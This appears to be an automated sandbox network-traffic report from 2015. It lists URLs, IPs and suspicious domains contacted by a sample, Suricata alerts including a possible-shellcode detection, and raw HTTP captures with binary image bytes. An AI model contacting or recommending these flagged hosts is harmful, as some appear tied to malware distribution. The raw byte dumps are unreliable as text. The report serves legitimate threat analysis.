hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16581.css	80.231.126.250
hxxp://at.alicdn.com.danuoyi.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	80.231.126.250
hxxp://g.alicdn.com.danuoyi.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	80.231.126.250
hxxp://skip.ju.taobao.com.danuoyi.tbcache.com/json/collect_mark.htm?_ksTS=1432632835641_78&callback=jsonp79	80.231.126.227
hxxp://log.gds.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D4mlmGlHXw1E%252BVkS0wTh80ZXkMi5N%252BqCa&cache=8589720&scr=1276x846&spm-cnt=608.2291429.0.0.mFV6W8&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_9&aplus&yunid=&&trid=0a67c42014326328310584752e&asid=AQAAAAD/PWRVNAP FAAAAAAqrVQOpllrsw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1sWrPHpXXXXb6aXXXYMrr2pXX-750-300.jpg_Q90.jpg	80.231.126.250
hxxp://pcookie.gds.taobao.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML
hxxp://at.alicdn.com.danuoyi.alicdn.com/tps/i4/TB1Sji9HVXXXXayXFXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1s5xDHFXXXXbrXpXX9sla8VXX-750-300.jpeg_Q90.jpg	80.231.126.250
hxxp://gtms01.alicdn.com/tps/i1/TB1.c6kHVXXXXbiXpXXrywt4VXX-120-120.png	195.27.31.250
hxxp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=4mlmGlHXw1E%2BVkS0wTh80ZXkMi5N%2BqCa	110.75.70.27
hxxp://s95.cnzz.com/z_stat.php?id=1255080332	1.99.192.16
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV	110.75.70.27
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=4mlmGlHXw1E+VkS0wTh80ZXkMi5N+qCa	110.75.70.27
hxxp://gtms01.alicdn.com/tps/i1/TB16cHvHVXXXXXeXpXXZ6GBKFXX-150-150.png	195.27.31.250
hxxp://gtms03.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	195.59.70.240
hxxp://tongji.110160.com/newcount.aspx	174.139.167.118
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/avatar_month.png	221.182.218.244
hxxp://tongji.110160.com/paramfile/navweb.txt	174.139.167.118
hxxp://jc.110160.com/ad2.htm	174.139.167.118
hxxp://skip.ju.taobao.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index	80.231.126.227
hxxp://static.tianyaui.com/global/dashang/css/core.css	221.182.218.244
hxxp://gtd.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	195.59.70.250
hxxp://g.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16581.css	80.231.126.250
hxxp://tongji.110160.com/will.html	174.139.167.118
hxxp://gtms02.alicdn.com/tps/i2/TB1liOWHFXXXXXuXFXXQoJ3FVXX-150-50.png	195.59.70.250
hxxp://static.tianyaui.com/global/bbs/web/static/images/bbs_ico_b07b5b8.png	221.182.218.244
hxxp://g.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	80.231.126.250
hxxp://gtms02.alicdn.com/tps/i2/TB1_AIOHFXXXXXKaXXXt7e2LVXX-1920-455.jpg_q75.jpg	195.59.70.250
hxxp://g.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	80.231.126.250
hxxp://g.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	80.231.126.250
hxxp://gtms03.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	195.59.70.240
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16581.css	80.231.126.250
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/book_3.png	221.182.218.244
hxxp://static.tianyaui.com/gamify/broadcast/js/core.js?v=20150521	221.182.218.244
hxxp://gtms02.alicdn.com/tps/i2/TB1s5xDHFXXXXbrXpXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.250
hxxp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858	140.205.254.1
hxxp://g.alicdn.com/alilog/mlog/aplus_v2.js	80.231.126.250
hxxp://gtms01.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.27.31.250
hxxp://tongji.110160.com/paramfile/main.txt	174.139.167.118
hxxp://g.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16581.js	80.231.126.250
hxxp://static.tianyaui.com/gamify/broadcast/css/bc_1001_ebook_top.css?v=150525	221.182.218.244
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/sm/ico_close.png	221.182.218.244
hxxp://static.tianyaui.com/global/ty/TY.js	221.182.218.244
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/book_1.png	221.182.218.244
hxxp://pcookie.taobao.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML	140.205.96.5
hxxp://gtms04.alicdn.com/tps/i4/TB1Sji9HVXXXXayXFXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.250
hxxp://jc.110160.com/ad.htm	174.139.167.118
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/book_0.png	221.182.218.244
hxxp://static.tianyaui.com/gamify/broadcast/js/1001/play.ebook.top.js?v=150525	221.182.218.244
hxxp://static.tianyaui.com/global/bbs/web/static/images/nav_top_logo_a215738.gif?v=@TIMESTAMP@	221.182.218.244
hxxp://gtms02.alicdn.com/tps/i2/TB10FuzHVXXXXbIXFXXrywt4VXX-120-120.png	195.59.70.250
hxxp://static.tianyaui.com/gamify/broadcast/js/core.jsonp	221.182.218.244
hxxp://g.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	80.231.126.250
hxxp://static.tianyaui.com/global/ty/TY.css	221.182.218.244
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16581.js	80.231.126.250
hxxp://gtms02.alicdn.com/tps/i2/TB1sWrPHpXXXXb6aXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.250
hxxp://static.tianyaui.com/global/bbs/web/static/images/bg_5_2aad127.png	221.182.218.244
hxxp://pcookie.cnzz.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML	42.120.219.171
hxxp://gtms02.alicdn.com/tps/i2/TB1OFHjHVXXXXXvXpXXSgLWZVXX-290-420.jpg_q90.jpg	195.59.70.250
hxxp://g.alicdn.com/ju/common/1.5.8/global-min.css	80.231.126.250
hxxp://a.tbcdn.cn/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.27.31.250
hxxp://static.tianyaui.com/global/bbs/web/static/css/bbs_article_51018f9.css	221.182.218.244
hxxp://static.tianyaui.com/gamify/data/broadcast/tybcdsdata.jsonp	221.182.218.244
hxxp://at.alicdn.com/t/font_1432191682_899724.eot?	195.59.70.240
hxxp://g.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	80.231.126.250
hxxp://g.alicdn.com/s.gif	80.231.126.250
hxxp://c.cnzz.com/core.php?web_id=1255080332&t=z	195.27.31.248
hxxp://log.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D4mlmGlHXw1E%252BVkS0wTh80ZXkMi5N%252BqCa&cache=8589720&scr=1276x846&spm-cnt=608.2291429.0.0.mFV6W8&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_9&aplus&yunid=&&trid=0a67c42014326328310584752e&asid=AQAAAAD/PWRVNAP FAAAAAAqrVQOpllrsw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident	140.205.99.5
hxxp://static.tianyaui.com/global/dashang/js/core.js?v=1.0.5	221.182.218.244
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/title_month.png	221.182.218.244
hxxp://tongji.110160.com/paramfile/tasklist.txt	174.139.167.118
hxxp://gtd.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	195.59.70.250
hxxp://g.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16581.js	80.231.126.250
hxxp://dskip.ju.taobao.com/json/collect_mark.htm?_ksTS=1432632835641_78&callback=jsonp79	80.231.126.228
hxxp://gtms01.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.27.31.250
hxxp://static.tianyaui.com/qy/adsame/ads.js	221.182.218.244
hxxp://gtms02.alicdn.com/tps/i2/TB1z6_KHVXXXXbpXXXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.250
hxxp://g.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.8/global-min.js,tb/tracker/1.0.16/index.js	80.231.126.250
hxxp://static.tianyaui.com/gamify/broadcast/img/1001/ebook/book_2.png	221.182.218.244
hxxp://static.tianyaui.com/global/bbs/web/static/images/bg_6_00bad4e.png	221.182.218.244
hxxp://static.tianyaui.com/global/bbs/web/static/js/main_3dc2083.js	221.182.218.244
tiaozhuan5221105.xyz	58.220.3.155
web.51.la	222.187.225.122
www.91debug.com	98.126.195.43
ll.090912.com	98.126.195.42
xiazai.lianmengqudao2.com	58.220.3.155
www.beidahuangheifeng.com	121.43.78.62

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET POLICY HTTP Request on Unusual Port Possibly Hostile

Traffic

GET /tps/i2/TB1OFHjHVXXXXXvXpXXSgLWZVXX-290-420.jpg_q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 53945

Connection: keep-alive

Date: Mon, 25 May 2015 23:58:53 GMT

Last-Modified: Mon, 25 May 2015 04:08:58 GMT

Expires: Thu, 22 May 2025 23:58:53 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache19.l2de1[0,200-0,H], cache13.l2de1[0,0], cache7.uk1[0,200-0,H], cache10.uk1[1,0]

Age: 34499

X-Cache: HIT TCP_MEM_HIT dirn:0:564601361

X-Swift-SaveTime: Tue, 26 May 2015 00:02:53 GMT

X-Swift-CacheTime: 315359760
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........"...........................................
V.........................!..1."AQa.2q.#BR...3br......$C...S...4c....%
5DEUdst...&T....................................J.....................
...!.."1AQ.2aq..B.......#3R......CST..br.$%.D...5s.............?......
..Q))- .....:..5Y.S.X4.........`..5.:...B%Gq.......sU...U.4jX.p.v...9.
.q).d..r."DJBj$.....WH...h.r...U.s.(*..R....)..vD\...lo...uv8...A...q)
.N...CT).4.(..Q.b.X..p....2.D.QTuQ......IEz.K..^..{Q.{v.Z..2...5......
.Kn...um.3.''....`..-.y.#...#.....wE....B..&y.....b88.K$...Nh.K.$Dr.V.
2......\.z..0..D2..g....0.....d...%%.G.....I%F......:.JH.47..[......ix
.VpF..G*..; ....... !.NF.|.D.5.6..*7E....5..N.R^...$.T.E=.HM.'.......-
..t..4.... {NOtQ5h...W...iaLeAy...Z.9...VI....uQBHf..0..I...3Q.|e..>
;..P. ..(.....!.R..t.....g.....8.LGLli9 .% ..I&/..r8.:..N.}TO....U$..I
%.i$.Ze$....B.X...K.XRj..XW.R.eP........I...2...Z..V...X.....j..HNQ...
[email protected].\Z.4.F...r7.E.#/RIz.K..^.... mRhCyU..N.e.6M..NS18.&r...I.J..h.$
.Q.t3...#3......|U.@}C...;......HR.<UT..{...t.oY.N..9...).5...$..I.
.I%...$Z...Y.O....80bv. .C.ZB.......4....J{97.....G. .kY..|(h........w
).E..pJ.\o.>.......^...I.J.*..HW:.*%$T..JC=hNIX4v.Y......WX.....!..
H..L.P.........'^...$..$......T':....H.H..Ji(...r..%...p.b.[...y....k7
....UKf;1.q._h..*^....t.gz!Y5YXM.$..$..{.^.6$.J.$.^Z..J.p..... `..../.
YE_.r$!......G%8>'...>....LxY.g.y..S@..{.Um....N.......\...N
<<< skipped >>>

GET /tps/i2/TB1liOWHFXXXXXuXFXXQoJ3FVXX-150-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 1210

Connection: keep-alive

Date: Mon, 27 Apr 2015 07:12:02 GMT

Last-Modified: Fri, 24 Apr 2015 09:41:32 GMT

Expires: Thu, 24 Apr 2025 07:12:02 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache28.l2de1[0,200-0,H], cache26.l2de1[0,0], cache4.uk1[0,200-0,H], cache10.uk1[1,0]

Age: 2514110

X-Cache: HIT TCP_MEM_HIT dirn:3:721298347

X-Swift-SaveTime: Mon, 27 Apr 2015 07:15:33 GMT

X-Swift-CacheTime: 315359789
.PNG........IHDR.......2......R.(...rPLTE.)`....d........V..5i.;m.0e..
.....Lz.Q~.......@q....]...........|..v..,b.............n.............
.Fu............M.......IDATX......0.E%."...j...b....O\.S.J.8/.{...Uk..
......o.\N~.....%.../DS......-../0..J.f.f.6...h.7q...D>...x..ab""%^
5..04U`C....:....m...8..qAV.,T.&.]..$.............|)...Q$....q.....#..
@.......f.7.,.  ..J..,.*A..@[email protected]!b..}..UVQ........e.P.
YN..,......t..7?....t....X..].>.^e)^e.....&/,...|..bl..d.MR..2=]a..
).M..............MY.)}.V`h........8..c".2.<..._....8..(......H.'$..
.....W... ..Y...9..]..".^.P.UU.....:.........[......dm.........."Mk.&l
t;..&-r.../. ..:4.W..#\.S........O-Awbh.el...MMx"..w.&...{Y......i.\..
......d........ &...?;Nvf<.q....r.eb.&6...M..5.5.Z.[..gD....@.....'
..D$........~.n&....d...v).Lr.........H(....P<......r..x`..e.F...D.
..!.<Q.^....../..k^.g:.;.....bl.v.4R.......*I..j%^O;.\...^V.D. ..m.
p?....L_...J... .....M?..}.7.g..T ..u...`mJ......W.c.......@Y........"
.....%..C>...B........c...NILq|Cc.{.V..(p...X5...Yea."qi.|....#....
..`q<.#r.........%...M..(L...smh.iRi|...?....{.....?.6Y..X?...).`..
.(.xT............*C_vY...x. .%H2....d...I.q.....7M..C....3r.^gn....!..
[email protected]`.....
<<< skipped >>>

GET /tps/i2/TB1sWrPHpXXXXb6aXXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 97578

Connection: keep-alive

Date: Mon, 25 May 2015 23:59:08 GMT

Last-Modified: Mon, 25 May 2015 05:09:10 GMT

Expires: Thu, 22 May 2025 23:59:08 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache52.l2de1[0,200-0,H], cache41.l2de1[0,0], cache11.uk1[0,200-0,H], cache10.uk1[0,0]

Age: 34490

X-Cache: HIT TCP_MEM_HIT dirn:3:331279688

X-Swift-SaveTime: Tue, 26 May 2015 00:03:04 GMT

X-Swift-CacheTime: 315359764
......JFIF.............C..............................................
......................C...............................................
........................,.............................................
..c..........................!A."1Q..a.2Bq..#...3R....$br.CSu....7t...
..E68cs......'9DFTf..V........................................R.....
....................!"1AQ..2aq........#BR...3Sbrs....$5..46C...~e...
T..c.............?...4yO..V...2.Q.7.8...X.R.....m9..id..".rU...8..A...
.....J.K&..2../.7..`..\...........G..8..,.$h.....o..j{.\.\l..$Q...t...
[.@h=.X.... X..r....N....kJ.eQ8.DRi..^.'..A.Id...'S4..$&...m.s...BP..M
...1.... ...YE.....J...QcB?..v.&92........_"%.........o..Bf...).Y....l
:....9..B.)X.hRsm.v.g....>[email protected]......`.hK..F...r.$..'...o.7..
*.).ha.7..u..e..y_..X.v..X..YHN..{..'l. e..!*......d.H.6.<.By/t..r.
#u..$.........H #Rz$m...T.4..$f....!.t...1^......I..'..@. ...n.....5..
..u;....^..=.....l<.4N...G&./.6..gR....^.;...Nr...uGS.#.. u...%)...
b.J....3*..bZ...Se....V...|q6m..6....71*P....&.........X|U..qH........
~B...!T.Sg..5.H..(t.S....3.I.B.gA-.._.]..V./G....t.b...;......e....s..
[email protected]'..^P/.a.0.L..k..s..(.'..{[email protected].#\.)J<..(.O....A#B...
.:_`......^[b...6.....}N.1!GF.JO....d.....O.H.o%B....>. ..D..rynM..
...Zl.sS.`,f.Z|J..!]..".A..M.H.....?.!..d..*...}9...".A..#D?7Im.......
r{..l.5..1D.R.....nel..} .H\S.,.t...I.=........'L...r... d.H.H..X(...L
6....A....U........Z........72..2.I..........>.\....7R.....{...5.-.
iPV....gL.PY.....1.a.Y.Do..~.U&.2.f.Y.'d.....e......0.Jd..B:...w.x
<<< skipped >>>

GET /global/bbs/web/static/images/nav_top_logo_a215738.gif?v=@TIMESTAMP@ HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:44 GMT

Content-Type: image/gif

Content-Length: 1997

Last-Modified: Wed, 08 Apr 2015 01:52:27 GMT

Connection: keep-alive

ETag: "552489db-7cd"

Expires: Thu, 25 Jun 2015 09:33:44 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89aX.*....2v..........U|.............f..=.................q........
.........I.....[..............f..:{....Y........{..............J......
.....T..C...........V.......................s..}........h..M..j.......
....f..9~....3z.............Q..A..I....................Z..n...........
y....................u...........L.................E}....R..i.........
........Z....................4w................!.....{.,....X.*.....{.
...............H.."...""p4&....&4........p;...{;.....!H..n.n"......e!!
..An!;!AQ....A.!b6;.."..........ne............4...Q4!.....q...?l6l...$
`,8.%9.w...1...:5...M........^".`...U=.....t2..,6.T...B..0#......,&...
.....W|.8.........T....`.r..d..(h.B.R.H..{...(....$p........4*V.AR..AJ
.(^..1.A>[email protected].......'..X......_z...."[email protected]......%.\
 .....x=..rc...4.le...@xh...... m.K.......01.#...{H.y....*p.9......B4.
...<p..F..F.%|...^0h..b|QF^......4d...e..i5...z.5!b!M..E......@Ha..
[email protected]....!BV...C.B6.v.a...H.9.Q.{:$...K`W..1...tF.P..8....1H..
[email protected].(.E..:A...."..<<.....`.3{2j....F
F.O...4.8..B.E!H..6.Co... [email protected]`Zf....E.rx..d%..
@."...yn......ZH.mJV."N.B.}>..C...0HdF.A..J$.l.?I...I,Q .;..U!....?
..R.c.......ta.W%.R@..)0..{.kB..!...^ .......*.\.1!J....M....T$q.. $f.
. .;.qL,........h.g.. ...L?.rS`...D..N,l!..P..:...].,...D<.. ..\B..
<.EoMt\.).o;..O.....A1....lD.k.x.....C.J."..1.Af.. X...(..x.....p.y
J....a..~Y. .Q...v.`..'.".Y<......'l..u..n{l...p.#.9b...m{..".!%.X.
b.[...'zF !...5..>j............p....../ .0zrB].......$#..tP..&.
<<< skipped >>>

GET /global/bbs/web/static/images/bg_5_2aad127.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:45 GMT

Content-Type: image/png

Content-Length: 219

Last-Modified: Wed, 08 Apr 2015 01:52:27 GMT

Connection: keep-alive

ETag: "552489db-db"

Expires: Thu, 25 Jun 2015 09:33:45 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.............6.......gAMA....7......9PLTE.............
.............................................v)~....tEXtSoftware.Adobe
 ImageReadyq.e<...(IDAT...........1{...VG..$...-.\...fFp..>oZ.if
7.Y....IEND.B`.....


GET /global/bbs/web/static/images/bg_6_00bad4e.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:45 GMT

Content-Type: image/png

Content-Length: 1008

Last-Modified: Wed, 08 Apr 2015 01:52:27 GMT

Connection: keep-alive

ETag: "552489db-3f0"

Expires: Thu, 25 Jun 2015 09:33:45 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...............?.....gAMA....|.Q.... cHRM..z%.........
.....u0...`..:....o._.F....PLTE.......................................
.........................................................   !!!"""###$
$$%%%&&&'''((()))***   ,,,---...///000111222333444555666777888999:::;;
;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLL
MMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccd
ddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{
{|||}}}~~~............................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................LDc....tRNS...........
.........pHYs................BIDAT....... .....x.a.D.z2......V7.m&..9.
p..IB....Cs.f...W.-..Q..Q?r..Y.:......IEND.B`.....


GET /qy/adsame/ads.js HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:45 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 14 Apr 2015 02:18:08 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Thu, 25 Jun 2015 09:33:45 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip
41c.............U.n.6..........>. .k.&A.4..._. ...m1...E%.....%_.I.
..=..s9s..hQ.,hg)....w..KY..~....>.*T......u................/&.d..G
..Z.4..d\...R].@...<%9..C^. o.a.R.....l&i..u.J.X.@'...]..cwS...7.I.
i6.Gob:. ...a.D7\.UU.4...]:...c...v.b..c....KM.Ds'...$$...y....g..>
0..Q..;...:"..........YB..V..q......DfI.3........e~.......$.....b.K...
......^JJ....UJ..Cd.(\.DpW.E.3(.e||.x%'..u..(..!.M.B}...4.../q~.r..5w.
...~.3D7....ai.w!{4...:.r..H)...8.hf...V....$e......Sn1...e...!....h~^
_b.,.].mu.j..%n....9d_...mK..... ...Ie]....A~......b2. .m=........26..
..q~X.....)kp..c.......o.F..p.}..Ae....CH..JT....m6$sO ..z...%./..). .
XUY..2.$.gL.O..ix.P.;.C.\gQ..Y.cE.E.....#<...|.....I....NN..g......
_P.()....&..D..Y.MN.5|.D.B-.-..S..= ....pv ...t...X:.Z.....T6W..Q?..q.
5.n.a..p.ix.y.08.......7*.U/...EI.x.v$J<...Z..A....*.V.%.y...) .e..
.....v.E.5.....:./.{.z..Qv....i..J..../:.SK.W.&....^ ..R..S..Vg(&.IR..
.....92.k.z...........].m..........3uu...,,.5"........q9.Gv.;.$..[.N[J
8._.....Eb...B.K......0..0.....*.v.I.?..........T....p...._..ms..g..qs
0...u.......l.....VA.&.....0......


GET /gamify/broadcast/js/core.jsonp HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:46 GMT

Content-Type: application/octet-stream

Content-Length: 1941

Last-Modified: Mon, 25 May 2015 10:02:41 GMT

Connection: keep-alive

ETag: "5562f341-795"

Expires: Tue, 26 May 2015 09:33:45 GMT

Cache-Control: no-cache

Accept-Ranges: bytes
(function(c){function o(a){return i.getCookie(a)||""}function p(a,e,d,
c,b,f){var g=1;1<=d&&(g=d/1440);i.setCookie(a,e,g,c||"/",b||".tiany
a.cn",f);return this}function j(a){!/^https?\:\/\//.test(a)&&/^\w/.tes
t(a)&&(a=q a);return f.when(f.ajax({url:a,cache:!0,dataType:"script",s
